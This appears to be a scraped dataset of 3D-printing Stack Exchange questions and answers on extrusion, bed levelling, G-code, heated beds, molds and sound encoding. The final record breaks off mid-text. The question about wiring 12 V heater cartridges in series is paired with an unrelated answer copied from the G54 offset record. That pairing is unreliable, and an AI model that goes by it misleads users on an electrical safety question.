{"id": "hf_1d51999523ba", "question": "<p>You can see small gaps in the print which looks like under extrusion (see image below).\nWhat is the reason for that?</p>\n\n<p>I've tried smaller retracting distances. Temperature looks stable.</p>\n\n<p>Print settings:</p>\n\n<ul>\n<li>PETG from Extruder</li>\n<li>245&nbsp;°C Printing temperature</li>\n<li>50&nbsp;mm/s print speed</li>\n<li>25&nbsp;mm/s wall speed</li>\n<li>30&nbsp;mm/s retracting speed</li>\n<li>1&nbsp;mm retraction distance -> stringing...</li>\n<li>Print cooling fan is enabled</li>\n</ul>\n\n<p>Setup:</p>\n\n<ul>\n<li>E3D Titan Aero</li>\n<li>Duet Wifi</li>\n<li>1,5&nbsp;A Motor current for feeder motor</li>\n<li>250&nbsp;mm/s<sup>2</sup> feeder max acceleration </li>\n</ul>\n\n<p>Slicer:</p>\n\n<ul>\n<li>Ultimaker Cura 4.0</li>\n</ul>\n\n<p><a href=\"https://i.stack.imgur.com/yXGPn.jpg\" rel=\"nofollow noreferrer\" title=\"Small gaps in the print\"><img src=\"https://i.stack.imgur.com/yXGPn.jpg\" alt=\"Small gaps in the print\" title=\"Small gaps in the print\"></a></p>\n", "question_body": "", "answer": "Here's your problem:\n1 mm retraction distance -> stringing...\nIf you have stringing, that means that material that was supposed to end up as part of printed lines instead ended up somewhere else, leaving less material (underextrusion) where it was actually wanted. This particular test piece may not exhibit stringing, but it's likely that it occurred interior to the piece, in the infill region. Contrary to widespread(?) opinion, stringing here is not harmless. It's just not visibly ugly. But it still messes up the surface quality, and even more importantly the strength, of your print.\nYou don't say if your printer has a bowden extruder or direct drive. If a Bowden, the 1 mm of retraction is virtually useless; a typical Bowden system has more than 1 mm just of\ncompression\nbetween the extruder gear and the hotend, meaning that retracting by 1 mm does not pull the filament back out of the hotend at all, and doesn't even relieve all the pressure that's pushing melted material out. I would recommend an absolute minimum of 5 mm for Bowden type extruders, unless your printer firmware has linear advance (Marlin 1.1.9+ or comparable features in other firmware) in which case you might be able to reduce it some. For direct drive, I don't have experience, but 1 mm is still probably too low; 2.5 mm is the believable recommendation I've heard.\nIn addition to retraction, you can further reduce material loss to stringing/oozing in the infill region by turning on Ultimaker Cura's \"Zig-zaggify infill\" option, which helps avoid in generating travel without retraction over unprinted area within the infill zone (see e.g.\nthis issue\n). Turning slicer setting \"combing\" to \"off\" is an even more extreme option here. Of course make sure retraction is really on (not \"retract at layer change\", which is a separate, mostly useless option) and make sure \"retraction minimum travel\" is set low (something like 150 % of the nozzle width or less) to prevent retraction from getting skipped on short travel moves.\nI also just noticed you wrote:\nI've tried smaller retracting distances...\nThis was probably based on erroneous advice. Reducing or eliminating retraction does not mitigate these sorts of problems; it creates them. The only reasons to reduce retraction distance are to fight problems with the extruder gear grinding down the filament after repeated retraction, and problems with jamming the path into the hotend due to pulling molten material back into the cool part where it then solidifies and jams. If you're not having such problems you should not reduce retraction. If you are having such problems, you should try to fix them in other ways that still let you keep the necessary amount of retraction not to have catastrophic print quality problems from material coming out in the wrong places.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.462828"}
{"id": "hf_f882a11b73cf", "question": "<p>Do we need mold release agent in 3D printing mold? If it is not used, what effect will it have on the product?</p>\n", "question_body": "", "answer": "Welcome to the 3D Printing Stack Exchange site.\nUsed in Casting\nA mold release agent is commonly used when a part is cast.  The release agent is placed on the inside of the mold before the liquid object is added.  As the object becomes solid, the release agent prevents the object from adhering to the mold.  As a result, the objects are easier to pop out of the mold, and in some processes, the mold can be reused.\n3D Printing is Different\nA mold release agent is used to allow the desired part to be separated from the mold.  In FDM (thin plastic extrusions bonding together into objects) 3D printing, the object is surrounded by air, except for the bottom where the object contacts the print bed.\nBed Adhesion\nFor most materials, getting the bottom of the object to stick firmly enough is the problem faced, rather than making it easy to remove.  In many cases, a compound is placed on the top of the bed to help the plastic stick to the bed.  It is a \"mode adhesion agent\" rather than a release agent.\nFor some combinations of materials, the bed material and the plastic have a particularly strong adhesion, such that it can be difficult to remove the object without damaging the bed surface.  Notably, this occurs with a PEI bed and PETG plastic.  In this and similar cases, the mold adhesion agents can be used on the bed.  This slightly separates the plastic from the bed material, and we can avoid bed damage.\nInternal Adhesion\nWith multimaterial printers becoming more common, there are cases where two parts which might touch and stich during printing should be isolated during the printing process.  A second (or third) material can be used to isolate the parts.  If the isolation material is sufficiently different from the desired objects, it can be removed by a solvent.\nThis approach is limited to cases where the objects should be separated by at least one printer thickness of the soluble material.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.515928"}
{"id": "hf_1ae7d571e678", "question": "<p>I am a fresh graduate student in 3D metal printing. My undergraduate major is mechanical engineering. Later research will focus on the process of metal 3D printing. I hope that you can recommend some excellent 3D metal printing books for learning.</p>\n", "question_body": "", "answer": "This is a free ebook that I have perused briefly which it looks interesting, and it is free (did I say that already?)\n3D Printing of metals\nManoj Gupta\nISBN 978-3-03842-591-5 (Pbk);\nISBN 978-3-03842-592-2 (PDF)\nThree other books that\nmight\nbe of interest are:\n3D Printing with Metals for Design Engineers, Explained\nAnn R. Thryft\nDownloadable free ebook, but some sort of sign up is required\nAdditive Manufacturing of Metals: The Technology, Materials, Design and Production\n,\nYang, L., Hsu, K., Baughman, B., Godfrey, D., Medina, F., Menon, M., Wiener, S.\nISBN 978-3-319-55128-9\nAdditive Manufacturing of Metals: From Fundamental Technology to Rocket Nozzles, Medical Implants, and Custom Jewelry (Springer Series in Materials Science)\nAlthough, as the title contains a (rather obvious) mis-spelling, it does not bode well for the rest of the book.\nJohn O. Milewski\nISBN-13: 978-3319582047\nISBN-10: 3319582046", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.552950"}
{"id": "hf_732c04dce073", "question": "<p>For the geometry I am making, I want to extrude each face individually along its normal.</p>\n\n<p>This is a standard procedure in 3D modeling software like Blender; see Example 3 <a href=\"https://blender.stackexchange.com/questions/7365/extrude-faces-along-local-normals\">here</a>. </p>\n\n<p>Is this possible in OpenSCAD?</p>\n", "question_body": "", "answer": "Extruding faces is only possible on 2D polygons. From a 3D object you cannot capture the face and extrude it. To extrude \"faces\" you would need to define the shape of the face and extend it in the third dimension of your choice. This way a 3D shape is created that could be concatenated (joined using e.g.\n```\nunion\n```\n) to the original shape. For the extrusion, the function\n```\nlinear_extrude\n```\nis available:\n```\n```\nlinear_extrude(height = fanwidth, center = true, convexity = 10, twist = -fanrot, slices = 20, scale = 1.0, $fn = 16) {...}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.575434"}
{"id": "hf_b4560acc0a94", "question": "<p>I am having a few problems with my BLTouch. I have calibrated it several times using different methods and get the nozzle being 1.3&nbsp;mm lower than the BLTouch pin so a Z offset of -1.3&nbsp;mm. This works fine for auto homing, bed levelling and using code <code>G1 Z0</code> to lower to where needed. However when using Cura to print the nozzle homes exactly as it should then drives the nozzle in to the bed as it starts or tries to start to print and not just a little bit either. Anyone have any ideas?</p>\n\n<p>Start G-code is:</p>\n\n<pre>\nG28 ;Home\nG29 ;Probe\nG1 Z15.0 F6000 ;Move Platform down 15 mm\nG92 E0\nG1 F200 E3\nG92 E0\n</pre>\n", "question_body": "", "answer": "You should be able to offset this with a\n```\nG54 Z-1.3\n```\n-\nif your setup accepts these gcodes\n.\nIf you do this, always add a\n```\nG53\n```\nto the very start and just before the\n```\nM30\n```\nto clear all offsets after job finish (or in the event of a cancel, at the start of the next job).\nI'm not experienced with a wide variety of printers or firmware, but our repetier-based printers (and we use the same controls for our refurbished Fadal CNC machines) use G53-G59:\nAs explained in this tutorial from cnccookbook.com\n:\nBasic work offsets are very simple to specify: simply enter one of G54, G55, G56, G57, G58, or G59. [...] When you execute the work offset g-code, the XYZ offset will be added to all of your coordinates from that point forward.\nAs detailed on Wikipedia\n:\nG54-59\n: Have largely replaced position register (G50 and G92). Each tuple of axis offsets relates program zero directly to machine zero. Standard is 6 tuples (G54 to G59), with optional extensibility to 48 more via G54.1 P1 to P48.\nAnd on the gcode dictionary provided by Hyrel 3D\n:\nG54 through G59 - Set Offsets\nG54, G55, G56, G57, G58, and G59 will each store and invoke offsets in the X, Y, and/or Z axes for all subsequent moves. Any values not invoked will remain with their previous value (0 unless earlier specified otherwise).\nX is the offset in mm in the X axis.\nY is the offset in mm in the Y axis.\nZ is the offset in mm in the Z axis.\nHere is an example:\n```\nG54 X100 Y-50\n```\nThis command is decoded and executed by the printer as follows:\nG54 (set offsets)\n- X100 (+100mm to all X coordinates)\n- Y-50 (-50mm to all Y coordinates)\nNote that this differs from an M6, where the offsets are only applied to a SINGLE tool position.\nDisclaimer: I work for Hyrel 3D.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.633486"}
{"id": "hf_d804d4655615", "question": "<p>I have ordered a dual hotend Chimera and it came with 2x 12&nbsp;V heater elements (in my rush I forgot to order the one with 2x 24V).</p>\n\n<p><a href=\"https://i.stack.imgur.com/xhQNem.png\" rel=\"nofollow noreferrer\" title=\"Chimera dual filament hotend\"><img src=\"https://i.stack.imgur.com/xhQNem.png\" alt=\"Chimera dual filament hotend\" title=\"Chimera dual filament hotend\"></a></p>\n\n<p>Is it possible to run these 12&nbsp;V heater elements in series? </p>\n\n<p><em>I am planning on running this with an SRK 1.3 board.</em></p>\n", "question_body": "", "answer": "You should be able to offset this with a\n```\nG54 Z-1.3\n```\n-\nif your setup accepts these gcodes\n.\nIf you do this, always add a\n```\nG53\n```\nto the very start and just before the\n```\nM30\n```\nto clear all offsets after job finish (or in the event of a cancel, at the start of the next job).\nI'm not experienced with a wide variety of printers or firmware, but our repetier-based printers (and we use the same controls for our refurbished Fadal CNC machines) use G53-G59:\nAs explained in this tutorial from cnccookbook.com\n:\nBasic work offsets are very simple to specify: simply enter one of G54, G55, G56, G57, G58, or G59. [...] When you execute the work offset g-code, the XYZ offset will be added to all of your coordinates from that point forward.\nAs detailed on Wikipedia\n:\nG54-59\n: Have largely replaced position register (G50 and G92). Each tuple of axis offsets relates program zero directly to machine zero. Standard is 6 tuples (G54 to G59), with optional extensibility to 48 more via G54.1 P1 to P48.\nAnd on the gcode dictionary provided by Hyrel 3D\n:\nG54 through G59 - Set Offsets\nG54, G55, G56, G57, G58, and G59 will each store and invoke offsets in the X, Y, and/or Z axes for all subsequent moves. Any values not invoked will remain with their previous value (0 unless earlier specified otherwise).\nX is the offset in mm in the X axis.\nY is the offset in mm in the Y axis.\nZ is the offset in mm in the Z axis.\nHere is an example:\n```\nG54 X100 Y-50\n```\nThis command is decoded and executed by the printer as follows:\nG54 (set offsets)\n- X100 (+100mm to all X coordinates)\n- Y-50 (-50mm to all Y coordinates)\nNote that this differs from an M6, where the offsets are only applied to a SINGLE tool position.\nDisclaimer: I work for Hyrel 3D.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.656743"}
{"id": "hf_86c99409fdd0", "question": "<p><strong>Thermal conductivity</strong> is how well a plastic conducts heat. Most plastics don't conduct heat very well at all, which is what allows them to be 3D printed. That being said, there are a lot of potential use cases for highly thermally conductive filament, assuming you could print them. A commonly discussed one is computer heatsinks. Similar heatsinks could also be used for stepper motors and extruders in 3d printing. </p>\n\n<p>To get a good picture which plastics are useful in such an application (like mentioned in question: \"<a href=\"https://3dprinting.stackexchange.com/questions/10881/water-cooling-stepper-motor-with-aluminum-block\">Water-cooling stepper motor with aluminum block</a>\"), I need to know what is the thermal conductivity of the commonly used thermoplastics.</p>\n", "question_body": "", "answer": "All values are in W/(m*K).\nPLA: 0.13\nHIPS: 0.20\nABS: 0.25\nPETG: 0.29\nPEEK: 0.25\nPLA with copper: 0.25 (\nsee discussion\n)\nPETG with 40% graphite: 1.70 (ansiotropic)\nTCPoly\n: 15\nSteel (not a 3dprintable plastic): 10 - 50", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.761586"}
{"id": "hf_cb1b7887bf2c", "question": "<p>Often, the pre-generated G-code is enough for start and end. However, sometimes we want to have something different. In this case: how to generate an audible alert of something like 4 bleeps at the end of the print, after putting the printer into the end position and when the bed has reached a \"safe\" 30 °C?</p>\n", "question_body": "", "answer": "Let's put the parts one by one:\nWait for bed temperature being at 30 °C:\n```\nM190 R30\n```\nPlay Bleep for 1/5th of a second:\n```\nM300 S440 P200\n```\nWait for 1/5th of a second:\n```\nG4 P200\n```\nThat gives:\n```\n```\nM190 R30\nM140 S0\nM300 S440 P200\nG4 P200\nM300 S440 P200\nG4 P200\nM300 S440 P200\nG4 P200\nM300 S440 P200\nG4 P200\n```\n```\nJust for 0scar:\n```\n```\nM300 S1396.91 P400 ;f7\nG4 P400\nM300 S1661.22 P600 ;as7\nM300 S1396.91 P400 ;f7\nM300 S1396.91 P200 ;f7\nM300 S1864.66 P400 ;b7\nM300 S1244.51 P400 ;es7\nM300 S1396.91 P400 ;f7\nG4 P400\nM300 S2093.00 P400 ;c8\nM300 S1396.91 P400 ;f7\nM300 S1396.91 P200 ;f7\nM300 S2217.46 P400 ;des8\nM300 S2093.00 P400 ;c8\nM300 S1661.22 P400 ;as7\nM300 S1396.91 P400 ;f7\nM300 S2093.00 P400 ;c8\nM300 S2793.83 P400 ;f8\nM300 S1244.51 P400 ;es7\nM300 S1244.51 P200 ;es7\nM300 S1046.50 P400 ;c7\nM300 S1567.98 P400 ;g7\nM300 S1396.91 P1600 ;f7\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.785535"}
{"id": "hf_298649b3225b", "question": "<p>Which of these will heat a bed fastest?</p>\n\n<ul>\n<li><p>A. 12&nbsp;V, 10&nbsp;A power supply</p></li>\n<li><p>B. 24&nbsp;V, 5&nbsp;A power supply</p></li>\n<li><p>C. Both A and B will be the same (only total watts matter)</p></li>\n<li><p>D. Depends on the situation</p></li>\n</ul>\n\n<p>I originally thought Amperage was what mattered until I realized I needed a 24&nbsp;V power supply to even heat my Lulzbot mini bed by one degree.</p>\n\n<p>I know voltage is used to determine insulation thickness on wires. But thin wires with high current in them also get hot. Is insulation thickness on wires only to prevent you from accidentally cutting through them and shocking yourself, or is it for heat reasons?</p>\n\n<p>I'd like to power my heated bed with a 19.5&nbsp;V, 5&nbsp;A power supply. It's just an old laptop charger - I want to reduce strain on my circuit. It's a big bed and I have a few other laptop chargers lying around so I'd prefer to choose the best one.</p>\n", "question_body": "", "answer": "It depends on whether you are re-using the bed or not, it is actually the resistance of the bed that determines this in conjunction with the voltage (the current you get for free).\nLet's say that the heatbed resistance is 1.2 Ω (depending on the heated bed make and model the resistance is typically in between 0.9 - 1.5 Ω), this means that the power can be calculated using:\n$$P = U \\times I$$\n$$U = I \\times R$$\ncombining gives:\n$$ P = I^2\\times R = \\frac{U^2}{R} $$\nFor 12 V (assumed default printer voltage) this means that the heatbed power equals about 120 Watt (at a current of 10 A). Running that same bed at 24 V means that the power is 480 Watt (at a current of 20 A). So yes, that will heat up fast, at the expense of an increased current, which is pretty high, and should not be attempted without extra resistance in the loop.\nIf you're using the laptop charger, the current draw equals about 16 A, which the adapter cannot deliver.\nThis means that you need to acquire a new heatbed that is able to handle a higher voltage out of the box (more resistance), or you need to put additional resistors in the loop, but beware of the currents. Note that heated beds for 12 V/24 V exist, the wiring is different depending on the voltage. Note that such beds heat up faster, it all depends on the resistance and the voltage, but running the 24 V circuit on 19.5 V (160 Watt bed) is definitely an improvement over the 120 Watt bed at 12 V but still requires about 8 A (only applicable to heatbed that can run 12 V/24 V through extra resistance connections).\nBe careful with this and be sure what you are doing!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.809902"}
{"id": "hf_fd76701e0aa9", "question": "<p>I have mounted two radial fan on my printer as a part cooling solution.</p>\n\n<p><a href=\"https://i.stack.imgur.com/MTeZ5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/MTeZ5.png\" alt=\"radial blower fan\"></a></p>\n\n<p>As you can see, the fan has input on the left side and blows air down. Does a mirror construction exists? With outlet on the right.</p>\n\n<p>I can even print my own casing, but I'm not sure if the fan will work, if I change the rotation direction.</p>\n\n<p>I'm using this print cooling fan duct: <a href=\"https://www.thingiverse.com/thing:1850163\" rel=\"nofollow noreferrer\">https://www.thingiverse.com/thing:1850163</a></p>\n\n<p>The fan on the right side has the opening facing the hotend, and there is not much space, so the impeller can catch on wiring etc. If the right fan had opening to the right, there would be no such problem.</p>\n", "question_body": "", "answer": "https://www.alibaba.com/product-detail/120mm-Small-Squirrel-Cage-Exhaust-Plastic_653850349.html?spm=a2700.7724857.normalList.14.23834341IiKFAu&s=p\nAfter quite a bit of searching the above link from Alibaba was all I could find. I suspect that they don't make them like that because of the direction of the rotation of the blades. Perhaps they are made so that the rotor can be swapped around if necessary.\n(\nhttps://i1.wp.com/www.homeintheearth.com/wp-content/uploads/2012/11/CentrifugalFanTypes.jpg\n)\nThe different curving of the blades affects either the volume or the pressure of the airflow (or both).\nAlternatively how about one that is more agnostic:\nhttps://www.amazon.com/2Packs-Wathai-40x40x10mm-Brushless-Centrifugal/dp/B07RNZF97F/\nOr just 3d print your own housing!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.884830"}
{"id": "hf_7a0091eb4291", "question": "<p>I recently installed a SKR 1.3 Board with a 3DTouch-Probe on my Creality Ender 3 Pro. \nThe probe works, <code>G29</code> does its magic, but:</p>\n\n<p>If i issue a plain <code>G28</code>, the hotend first homes X and Y like before the Z-probe. \nThe probe is now next to, not above, the bed.\nAs the next step, the printer is supposed to home the Z-axis. The probe deploys and Z starts to lower until it smashes into the bed, because the probe misses the bed (if I don't stop it, that is).</p>\n\n<p>I configured X/Y offsets for the probe, but they don't seem to be honored when performing the <code>G28</code> code.</p>\n\n<p>If I home X/Y \"manually\" with <code>G28 X Y</code>, move the hotend with like <code>G1 X45 Y10</code>, then home Z with <code>G28 Z</code> it works fine.</p>\n\n<p>What did I miss? Is this intended behaviour &amp; the user has to take care never to issue a plain <code>G28</code>?!</p>\n", "question_body": "", "answer": "You need to enable the constant\n```\nZ_SAFE_HOMING\n```\n(like:\n```\n#define Z_SAFE_HOMING\n```\n) in your\nprinter configuration file\n(if you're using Marlin firmware that is). This will move the nozzle to the middle of the plate prior to lowering the nozzle by default:\n```\n```\n#if ENABLED(Z_SAFE_HOMING)\n  #define Z_SAFE_HOMING_X_POINT ((X_BED_SIZE) / 2)    // X point for Z homing when homing all axes (G28).\n  #define Z_SAFE_HOMING_Y_POINT ((Y_BED_SIZE) / 2)    // Y point for Z homing when homing all axes (G28).\n#endif\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.910077"}
{"id": "hf_295ebdaf7fc5", "question": "<p>I want to make Polyurethane molds for <strong>concrete</strong> using 3D printed PLA or ABS master object. like this video:</p>\n\n<p><div class=\"youtube-embed\"><div>\r\n                <iframe width=\"640px\" height=\"395px\" src=\"https://www.youtube.com/embed/UhkrEm5XtRU?start=0\"></iframe>\r\n            </div></div> (this video is not about concrete of course!)</p>\n\n<p>I'm not sure if it will stick to PLA or ABS master or not! if it does stick, whick wax material can solve this problem... Do I need to print my masters with another filament?</p>\n\n<p><a href=\"https://i.stack.imgur.com/JGMR5.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JGMR5.jpg\" alt=\"enter image description here\"></a> </p>\n", "question_body": "", "answer": "Temperature\nAs polyurethane cures (or hardens), it undergoes a chemical bonding reaction, linking the mono- and oligomer strings in the components into long polyurethane chains.\nThe chemical reaction is exothermic\n, it creates heat.\nSo, we have a process that heats up the polyurethane mixture as it hardens, but how much? Well, it's hard to find numbers for it, but I suspect it can easily reach 30 to 40 °C, depending on the mixture (fast curing) it could easily go higher. To combat the effects of heat softening of the PLA/ABS model inside the mold, I strongly suggest printing with extra shells and extra infill. While most items can get away with 10 %, in this case, I suggest 20-30 %. ABS would be the superior choice above PLA as it starts to deform at a higher temperature. PLA can start to deform at around 60 °C, ABS only at about 80 °C.\nThe temperature of the PU curing depends on the speed of the curing process - it is safer for the masters to choose a slower curing mix as the heat is generated over a longer time and the maximum temperature is thus lower as a result (as excess heat is lost to the room)\nSurface\nTo reduce the sticking to the surface from the material creeping into the gaps of the model, it has to be as smooth as possible and best also sealed. If you choose ABS, a quick acetone vapor bath would do the trick in this case. PLA should be lacquer sealed as it doesn't like to stick to most waxes.\nAdding a mold release agent isn't necessarily needed, but could help in removing the masters from the mold.\nConclusion\nABS might be the better choice in this application. It is advisable to use extra-thick walls (3+), a lot of infill (20-30 %) and a vapor smoothed surface.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.946141"}
{"id": "hf_7221d5922d9e", "question": "<p>Is it possible with the accuracy of current 3D printers to print a sound trace? </p>\n\n<p>On a vinyl record the grooves in the record are an encoded sound. Is something like this doable with 3D printers? </p>\n\n<p>If Vinyl-like isn't possible, could a sound be printed at desktop scale? I mean printing the waves out that if you ran your finger along it it would reproduce the encoded sound? Examples would be <a href=\"https://en.wikipedia.org/wiki/Rumble_strip\" rel=\"noreferrer\">Rumble Strips</a>, the <a href=\"https://en.wikipedia.org/wiki/Musical_road\" rel=\"noreferrer\">Musical Roads</a> or <a href=\"https://english.stackexchange.com/questions/44069/what-are-the-treads-on-the-side-of-the-highway-called\">highway rumble strips</a>.</p>\n", "question_body": "", "answer": "Sound Encoding basics\nSound is a compression wave, and any depiction of it has to be an encoding of it. You can encode it so you can recreate the sound using a contraption that oscillates in the right way to compress air again in the right pattern, but you can't just \"print it out\" like you can scale up a lightwave from the nanometer scale to a visible one as a representation.\nLet's take a simple example: a 440 Hz tune is generally considered to be the A\n4\n, aka\nconcert pitch a\nor A440.\nIt could be encoded in a various ways. The probably oldest is to encode it as a note in violin notation, which then could be reproduced by anyone using a properly tuned instrument. The actual result depends on the instrument used as much as on the skill of the player. Each instrument thus might decode this encoded note differently, based on the physical setup of the instrument. Each instrument\nautomatically\ncreates the appropriate overtones.\nIn Midi, it is encoded as\n```\nNote 69\n```\nand any machine that can decode a midi file could use this instruction, paired with an instrument to use, to create the A\n4\nthat is set for it. In Midi, the mere instruction of Note 69 does cut out skill, but how it sounds and feels comes from the instrument setup - which contains information about what overtones are to be created when playing this note.\nFor a physicist, the pure sound is encoded as just the notion of\n```\n440 Hz\n```\nand some amplitude to balance how loud it is. With those instructions, he'd be able to set up a device that has these creates a 440 Hz tune. To generate the sound and feel of an instrument, the encoding for a physicist would need to contain all the overtones that are to swing with this one sound.\nHistory of sound recording\nLet's look at the very first way of recording sound: The Phonautograph of 1857 used a piece of paper or a sheet of glass blackened and then a membrane move a needle. When the plate would be moved, the needle left a written path. The encoding was done via 2 factors: the setup of the stylus (mainly how long is the arm) and the speed of the movement of the plate. Changing either changed the encoding. A longer arm would record a larger amplitude (making fainter sounds recordable) while faster movement would alter the timescale recorded, allowing to look at short instances and better compare them.\nThese vibration-pattern records could be used to measure and compare sounds but not be used to recreate the sound, as lines on paper nor scratches in soot are a good way to keep a reading needle in boundaries. it took till 2000 and the use of scanners as well as digital processing to recreate these recorded sounds.\nThe solution to recreate sounds was found by the Edison Laps in 1877 with the phonograph, which used a piece of thick tinfoil to record the motion pattern of the membrane. Again, then encoding was done via the arm setup and the speed at which the tinfoil clad cylinder moved (or rather rotated). It would till the 1880s develop to a wax cylinder, which was easier to inscribe and reproduce from. One such machine was used by Carl Orff.\nThe first Gramophone came in 1889, mainly altering the shape of the recording medium from cylinders to the well-known shape of vinyl records but made from hard plastics and shellac. Around 1901, a 12-inch gramophone disk held only a 4 minutes track, speaking volumes about the problems of encoding the complex patterns of sound onto a disk. At the same time, an Edison Amberol Cylinder held 4 minutes 30 seconds but would spin at 160 rpm. Soon after, celluloid would become the recording medium of its time, and the disk the de-facto \"standard\" as it was much better storable.\nIn 1925 finally, a real standard was developed to record at around\n$78^{+0.26}_{-0.08}$\nrpm, which lead to only a 0.34 rpm difference between areas of 60 or 50 Hz mains voltage (though they needed different encoder rings), making records interchangeable between both machine types. All these recordings were encoded naturally: the vibrations of the membrane in the recording tool would be 1:1 transmitted to the vibrating stylus that would then do the encoding in such a way that a machine would reproduce what the recording one \"heard\" quite accurately.\nWhen Vinyl came to the playing field as a recording medium at the end of world war II, so came a swap in the reading needle type: instead of a needle that would agitate a membrane directily, sapphire needles that would agitate an electrical pickup which in turn would activate a speaker. But while the recording technology advanced, the track length of a 12-inch disk was still limited to about 4 minutes at 78 rpm. It would only reach more than this in the last years of its use by applying LP technologies to pack the track tighter in the 1950s, achieving 17 minutes.\n1948 came the LP, what we know as a classic vinyl record. At its introduction it could cram 23 minutes onto one side, making this possible by only using 33.5 rpm as the recording speed and thinner, much tighter coiled groves, increasing the information density by a factor of 5.75 for a 12-inch disk. 7-inch 45 rpm \"singles\" came out 4 years later. Within 10 years, the 33.5 and 45 rpm encoded variants had almost completely replaced the 78 rpm market.\nVinyl\nAs the history of analogous recordings shows, encoding a sound signal is rather easy in theory, hard in practice. A typical 12-inch\nLP Vinyl record\nof 20 minutes is a grove that is  427 meters long and coiled up 667 times. That means a single groove is between 0.04 and 0.08 mm wide - with an equally thin wall between. That means, that to achieve a printed phonograph record, you'd have to print accurately down to 40 microns to get an\nempty\ntrack. However, we also need to add the signal atop. And here comes the real problem:\nAn empty track has some 22 µm deviations, which the needle will usually not pick up at all. Dust, which creates the crackling at times, is in the same area (1-100 µm). The actual sound signal is encoded to have features as small as 75 nanometers. That is 3 magnitudes lower than the mere geometry of the grove, and equally much lower than any printer - including SLS - can achieve today, as 50 µm is often considered a lower limit in 2019.\nTo show how much tiny defects would ruin the sound quality, look at\nthis rapid cast\nof a vinyl record. The resolution of the negative and the subsequently cast record is good enough to recognize the music, but the resin cast did contain so many gas bubbles that the noise level of the copy is very high.\nBonus: Unlike on cylinders the encoding of the signal on disks changes from the start to the end! The vinyl spins at a constant rate, but the radius from the center changes, leading in the speed on any part of the grove to be different as\n$|v|=|\\omega \\vec r \\sin(\\theta)|$\n, where omega is the speed in rad per second, theta is the angle of the reeding, so in this case, the sinus term becomes 1 and vanishes. This factor has to be taken into account for encoding so the pitch of the record doesn't change if the record is not created naturally by inscribing the signal onto a spinning disk.\nOther encoding\nRumble Strips\nHowever, it is quite easy to create a structure that creates sounds based on interaction with another body. Highway Sound Strips create sounds as the car tire bumps up and down, turning the car and tires into resonance bodies while the street \"beats\" upon it. In the case of a large percussion instrument like a car, we are talking centimeter scale.\nPeg-Cylinder\nA very simple method would be to go back to encoding and check out the note notation but limiting the length of notes to one unit. Encoding music this way results in pegs or ridges on a cylinder, which then can be used to actuate a mechanism to decode the music and create sounds like in a music box. In a music box of this kind, the demand for accuracy is about 3 to 5 magnitudes lower than in vinyl records: we speak about a tenth of a millimeter to centimeter scale.\nSuch a\nMusical box\nor\nnoisemaker\ncan be easily printed and is pretty much a rumble strip coiled around a cylinder. The length of the sample is determined by the resolution, playback speed and diameter of the cylinder while the complexity is determined by the rows of pegs of it: a noisemaker is pretty much a 1-note, high speed, music box. Typically, one rotation stores about 25 to 30 seconds. Typical examples would be the first part of\nFür Elise\n,  or the\nMarble Machine\n(Between second 30 and 35 the encoding wheel rotates 1 fifth). Some barrel organs also use the peg method, like one can\nsee here\n. With some trickery, one cylinder could be used to encode multiple parts that play one after another once a rotation is done by and silencing some parts of the machine depending on an extra encoder, like\nthis 3-part\nFür Elise\nmusic box.\nHole-Plate(-strip)\nA different method would be to encode the music as holes in a continuous strip and use air as a decoding method. If the air then gets directed into pipes, we have a street organ. Typically, one would use a paper strip as the encoded message, but it could be printed just as well, especially if one uses a setup that uses plates hinged to one another instead of a rolled-up 